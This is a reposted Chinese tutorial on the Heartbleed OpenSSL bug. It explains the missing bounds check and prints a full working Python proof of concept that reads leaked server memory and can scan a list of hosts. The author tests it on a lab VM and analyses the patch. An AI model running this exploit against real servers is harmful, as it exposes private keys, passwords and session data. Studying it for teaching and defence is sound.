心臟滴血漏洞

轉自:http://blog.csdn.net/qq_32400847/article/details/58332946

2014年4月7日OpenSSL發佈了安全公告,在OpenSSL1.0.1版本中存在嚴重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模塊存在一個BUG,當攻擊者構造一個特殊的數據包,滿足用戶心跳包中無法提供足夠多的數據會導致memcpy函數把SSLv3記錄之後的數據直接輸出,該漏洞導致攻擊者可以遠程讀取存在漏洞版本的OpenSSL服務器內存中多達64K的數據。

1.漏洞說明

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.

Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley [email protected] and Bodo Moeller [email protected] for preparing the fix.

Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.

1.0.2 will be fixed in 1.0.2-beta2.

2.TLS/SSL簡介

TLS和SSL是兩個密切相關的協議,均用於保證兩個主機之間通信數據的機密性與完整性。TLS或SSL可爲已存在的應用層協議(例如HTTP,LDAP,FTP,SMTP及其他)添加一個安全層。它同樣可以用於創建VPN解決方案(例如OpenVPN)。SSL協議於1994年由Netscape開發。1996年,SSL 3.0(最後版本)被髮布。IETF基於此協議進行了開發,取名爲TLS。1999年,IETF在RFC2246中發佈TLS 1.0。TLS或SSL協議,由多層構成。最接近它的上層協議是可信傳輸協議(例如TCP)。它可用於封裝較高層次的協議。爲了在客戶端與服務端建立一個安全會話,TLS/SSL需要完成幾步驗證,並創建密鑰。握手過程,交互信息如下。 
這裏寫圖片描述

3.攻擊流程

基於POC程序源代碼(附後),介紹一下CVE-2014-0160漏洞的攻擊思路。 
1. 建立socket連接 
2. 發送TLS/SSL Client Hello請求 
3. 發送畸形heartbleed數據 
4. 檢測漏洞存在 
建立socket連接

def ssltest(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

多數情況下默認443提供HTTPS服務。 
這裏寫圖片描述 
發送TLS/SSL Client Hello請求

 s.send(h2bin(hello))
  • 1
  • 1

這裏寫圖片描述 
Client Hello請求數據如下所示。

hello = [
    # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
    "16"  # Content Type: Handshake (22)
    "0302"  # Version: TLS 1.1 (0x0302)
    "00dc"  # Length: 220
    # Handshake Protocol: Client Hello
    "01"  # Handshake Type: Client Hello (1)
    "0000 d8"  # Length (216)
    "0302"  # Version: TLS 1.1 (0x0302)
    # Random
    "5343 5b 90"  # gmt_unix_time
    "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
    "00"  # Session ID Length: 0
    "0066"  # Cipher Suite Length: 102
    # Cipher Suites
    "c014"
    "c00a"
    "c022"
    "c021"
    "0039"
    "0038"
    "0088"
    "0087"
    "c00f"
    "c005"
    "0035"
    "0084"
    "c012"
    "c008"
    "c01c"
    "c01b"
    "0016"
    "0013"
    "c00d"
    "c003"
    "000a"
    "c013"
    "c009"
    "c01f"
    "c01e"
    "0033"
    "0032"
    "009a"
    "0099"
    "0045"
    "0044"
    "c00e"
    "c004"
    "002f"
    "0096"
    "0041"
    "c011"
    "c007"
    "c00c"
    "c002"
    "0005"
    "0004"
    "0015"
    "0012"
    "0009"
    "0014"
    "0011"
    "0008"
    "0006"
    "0003"
    "00ff"
    "01"  # Compression Methods
    # Compression Methods (1 method)
    "00"  # Compression Method: null
    "0049"  # Extension Length: 73
    "000b"  # Type: ec_point_formats
    "0004"  # Length: 4
    "03"  # EC point formats length: 3
    # Elliptic curves point formats
    "00"  # EC point format: uncompressed (0)
    "01"  # EC point format:ansix962_compressed_prime
    "02"  # EC point format:ansix962_compressed_char2
    # Extension: elliptic_curves
    "000a"
    "0034"
    "0032"
    "000e"
    "000d"
    "0019"
    "000b"
    "000c"
    "0018"
    "0009"
    "000a"
    "0016"
    "0017"
    "0008"
    "0006"
    "0007"
    "0014"
    "0015"
    "0004"
    "0005"
    "0012"
    "0013"
    "0001"
    "0002"
    "0003"
    "000f"
    "0010"
    "0011"
    "0023 00 00"  # Extension:SeesionTicket TLS
    "000f 00 01 01"  # Extension:Heartbeat
]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109

發送Client Hello後,等待服務端響應,檢測TLS/SSLClient Hello會話是否成功。

    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
        # typ == 22 ----> Handshake
        #
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

這裏寫圖片描述 
此處服務器返回兩次數據。Frame 10返回主要用於進一步獲取Server Hello 信息。Frame 11爲TLS/SSL的Server Hello響應。

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        print 'read: ', r
        if s in r:
            data = s.recv(remain)

            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    hexdump(rdata)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)
    if hdr is None:
        return None, None, None
    # C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
    # Python ---- [big-edition] + integer +integer + integer
    # [Content Type] + [Version] + [Length]
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

Server Hello 消息返回,說明TTL/SSL會話成功建立,此過程伴隨有Certificate,Server Key Exchange,Server Hello Done。 
這裏寫圖片描述 
發送畸形heartbleed數據 
Server Hello成功返回後向服務器發送畸形heartbleed請求。如果服務器響應,會伴隨有Encrypted Heartbeats Message,也就是泄露的內存數據。

s.send(h2bin(hb))  # Malformed Packet
  • 1
  • 1

Heartbleed包數據如下。

# ---------TLSv1---[Heartbeat Request]------------
hb = [
            # TLSv1.1 Record Layer: HeartbeatRequest
    "18"    # Content Type: Heartbeat (24) ----(0x18)
    "0302"  # Version: TLS 1.1 (0x0302)
    "0003"  # Heartbeat Message:
    "01"    # Type: Request (1) (0x01)
    "4000"  # Payload Length: (16384) (0x4000)
]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

這裏寫圖片描述 
檢測漏洞是否存在 
畸形數據包發送完成後,檢測漏洞是否存在。

    while True:
        print "[+] receive data..."
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print "[-] %s |NOTVULNERABLE" % target
            return False

        # TLSv1.1 Record Layer: EncryptedHeartbeat
        # Content Type: Heartbeat (24)
        # Version: TLS 1.1 (0x0302)
        # Length: 19
        # Encrypted Heartbeat Message
        if typ == 24:
            if len(pay) > 3:
                print "[*] %s |VULNERABLE" % target
            else:
                print "[-] %s |NOTVULNERABLE" % target
            return True

        if typ == 21:
            print "[-] %s |NOTVULNERABLE" % target
            return False
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

這裏寫圖片描述 
泄露的部分數據如下圖所示。 
這裏寫圖片描述 
完整的POC如下。

import struct
import socket
import time
import select
from optparse import OptionParser

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = [
    # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
    "16"  # Content Type: Handshake (22)
    "0302"  # Version: TLS 1.1 (0x0302)
    "00dc"  # Length: 220
    # Handshake Protocol: Client Hello
    "01"  # Handshake Type: Client Hello (1)
    "0000 d8"  # Length (216)
    "0302"  # Version: TLS 1.1 (0x0302)
    # Random
    "5343 5b 90"  # gmt_unix_time
    "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
    "00"  # Session ID Length: 0
    "0066"  # Cipher Suite Length: 102
    # Cipher Suites
    "c014"
    "c00a"
    "c022"
    "c021"
    "0039"
    "0038"
    "0088"
    "0087"
    "c00f"
    "c005"
    "0035"
    "0084"
    "c012"
    "c008"
    "c01c"
    "c01b"
    "0016"
    "0013"
    "c00d"
    "c003"
    "000a"
    "c013"
    "c009"
    "c01f"
    "c01e"
    "0033"
    "0032"
    "009a"
    "0099"
    "0045"
    "0044"
    "c00e"
    "c004"
    "002f"
    "0096"
    "0041"
    "c011"
    "c007"
    "c00c"
    "c002"
    "0005"
    "0004"
    "0015"
    "0012"
    "0009"
    "0014"
    "0011"
    "0008"
    "0006"
    "0003"
    "00ff"
    "01"  # Compression Methods
    # Compression Methods (1 method)
    "00"  # Compression Method: null
    "0049"  # Extension Length: 73
    "000b"  # Type: ec_point_formats
    "0004"  # Length: 4
    "03"  # EC point formats length: 3
    # Elliptic curves point formats
    "00"  # EC point format: uncompressed (0)
    "01"  # EC point format:ansix962_compressed_prime
    "02"  # EC point format:ansix962_compressed_char2
    # Extension: elliptic_curves
    "000a"
    "0034"
    "0032"
    "000e"
    "000d"
    "0019"
    "000b"
    "000c"
    "0018"
    "0009"
    "000a"
    "0016"
    "0017"
    "0008"
    "0006"
    "0007"
    "0014"
    "0015"
    "0004"
    "0005"
    "0012"
    "0013"
    "0001"
    "0002"
    "0003"
    "000f"
    "0010"
    "0011"
    "0023 00 00"  # Extension:SeesionTicket TLS
    "000f 00 01 01"  # Extension:Heartbeat
]

# ---------TLSv1---[Heartbeat Request]------------
hb = [
            # TLSv1.1 Record Layer: HeartbeatRequest
    "18"    # Content Type: Heartbeat (24) ----(0x18)
    "0302"  # Version: TLS 1.1 (0x0302)
    "0003"  # Heartbeat Message:
    "01"    # Type: Request (1) (0x01)
    "4000"  # Payload Length: (16384) (0x4000)
]

hello = hello[0].replace("", "").replace("\n", "")
hb = hb[0].replace("", "").replace("\n", "")

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b: b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        print 'read: ', r
        if s in r:
            data = s.recv(remain)

            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    hexdump(rdata)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)
    if hdr is None:
        return None, None, None
    # C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
    # Python ---- [big-edition] + integer +integer + integer
    # [Content Type] + [Version] + [Length]
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        return None, None, None
    return typ, ver, pay

def hit_hb(s, target):
# global target
    s.send(h2bin(hb))
    while True:
        print "[+] receive data..."
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print "[-] %s |NOTVULNERABLE" % target
            return False

        # TLSv1.1 Record Layer: EncryptedHeartbeat
        # Content Type: Heartbeat (24)
        # Version: TLS 1.1 (0x0302)
        # Length: 19
        # Encrypted Heartbeat Message
        if typ == 24:
            if len(pay) > 3:
                print "[*] %s |VULNERABLE" % target
            else:
                print "[-] %s |NOTVULNERABLE" % target
            return True

        if typ == 21:
            print "[-] %s |NOTVULNERABLE" % target
            return False

def ssltest(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(h2bin(hello))

    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        # Look for server hello done message.
        # typ == 22 ----> Handshake
        #
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    # sys.stdout.flush()
    print "[+] send payload: %s" % hb
    s.send(h2bin(hb))  # Malformed Packet
    return hit_hb(s, target)  # ------------- *********

def main():
    # global target
    options = OptionParser(usage='%prog server[options]',
                       description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    options.add_option('-d', '--dest', dest='host', help='HOST to test')
    options.add_option('-f', '--file', dest='filename', help='Hosts in the FILE to test ')
    (opts, args) = options.parse_args()

    if opts.host:
        ssltest(opts.host, opts.port)
        return

    if opts.filename:
        hostfile = open(opts.filename, 'r').readlines()
        for host in hostfile:
            host = host.strip()
            if len(host) > 3:  # x.x
                ssltest(host, opts.port)
        return

    if len(args) < 1:
        options.print_help()
        return

if __name__ == '__main__':
        main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
  • 215
  • 216
  • 217
  • 218
  • 219
  • 220
  • 221
  • 222
  • 223
  • 224
  • 225
  • 226
  • 227
  • 228
  • 229
  • 230
  • 231
  • 232
  • 233
  • 234
  • 235
  • 236
  • 237
  • 238
  • 239
  • 240
  • 241
  • 242
  • 243
  • 244
  • 245
  • 246
  • 247
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
  • 215
  • 216
  • 217
  • 218
  • 219
  • 220
  • 221
  • 222
  • 223
  • 224
  • 225
  • 226
  • 227
  • 228
  • 229
  • 230
  • 231
  • 232
  • 233
  • 234
  • 235
  • 236
  • 237
  • 238
  • 239
  • 240
  • 241
  • 242
  • 243
  • 244
  • 245
  • 246
  • 247

4.漏洞測試

這裏我分別使用上文的POC、nmap和metasploit對bee-box虛擬機內置的心臟滴血漏洞進行測試。 
這裏寫圖片描述 
虛擬機的IP地址是10.10.10.146,漏洞端口位於8443。 
上文的POC 
這裏寫圖片描述 
接收到了大量的數據,被判定爲VULNERABLE。 
這裏寫圖片描述 
nmap 
這裏寫圖片描述 
這裏寫圖片描述 
metasploit 
這裏寫圖片描述 
這裏寫圖片描述

5.源代碼分析

我們利用文本比較工具ultracompare對比openssl-1.0.1g和openssl-1.0.1f的不同。 
首先是ssl/d1_both.c。 
這裏寫圖片描述 
然後是ssl/t1_lib.c。 
這裏寫圖片描述 
在tls1_process_heartbeat函數和dtls1_process_heartbeat函數中,主要都是增加了對s->s3->rrec.length長度的判斷。這兩個函數後面的memcpy(bp, pl, payload);填充payload長度的pl數據,而payload完全由用戶控制,當傳入過大數值時,可能導致越界訪問pl之後的數據,若將讀取的數據返回給用戶即可造成敏感信息泄露。在一些測試用例中我們會發現response的length長度值總是比request的長度多出來了19個byte。讀源代碼可以知道,這是因爲TLS和DTLS在處理心跳請求包邏輯中從堆空間上申請的內存大小由type、length、request的數據長度和pad四個部分組成,其中type,length,pad字段分爲佔1byte,2byte,16byte,所以response的數據總是比request的多出來19byte。 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章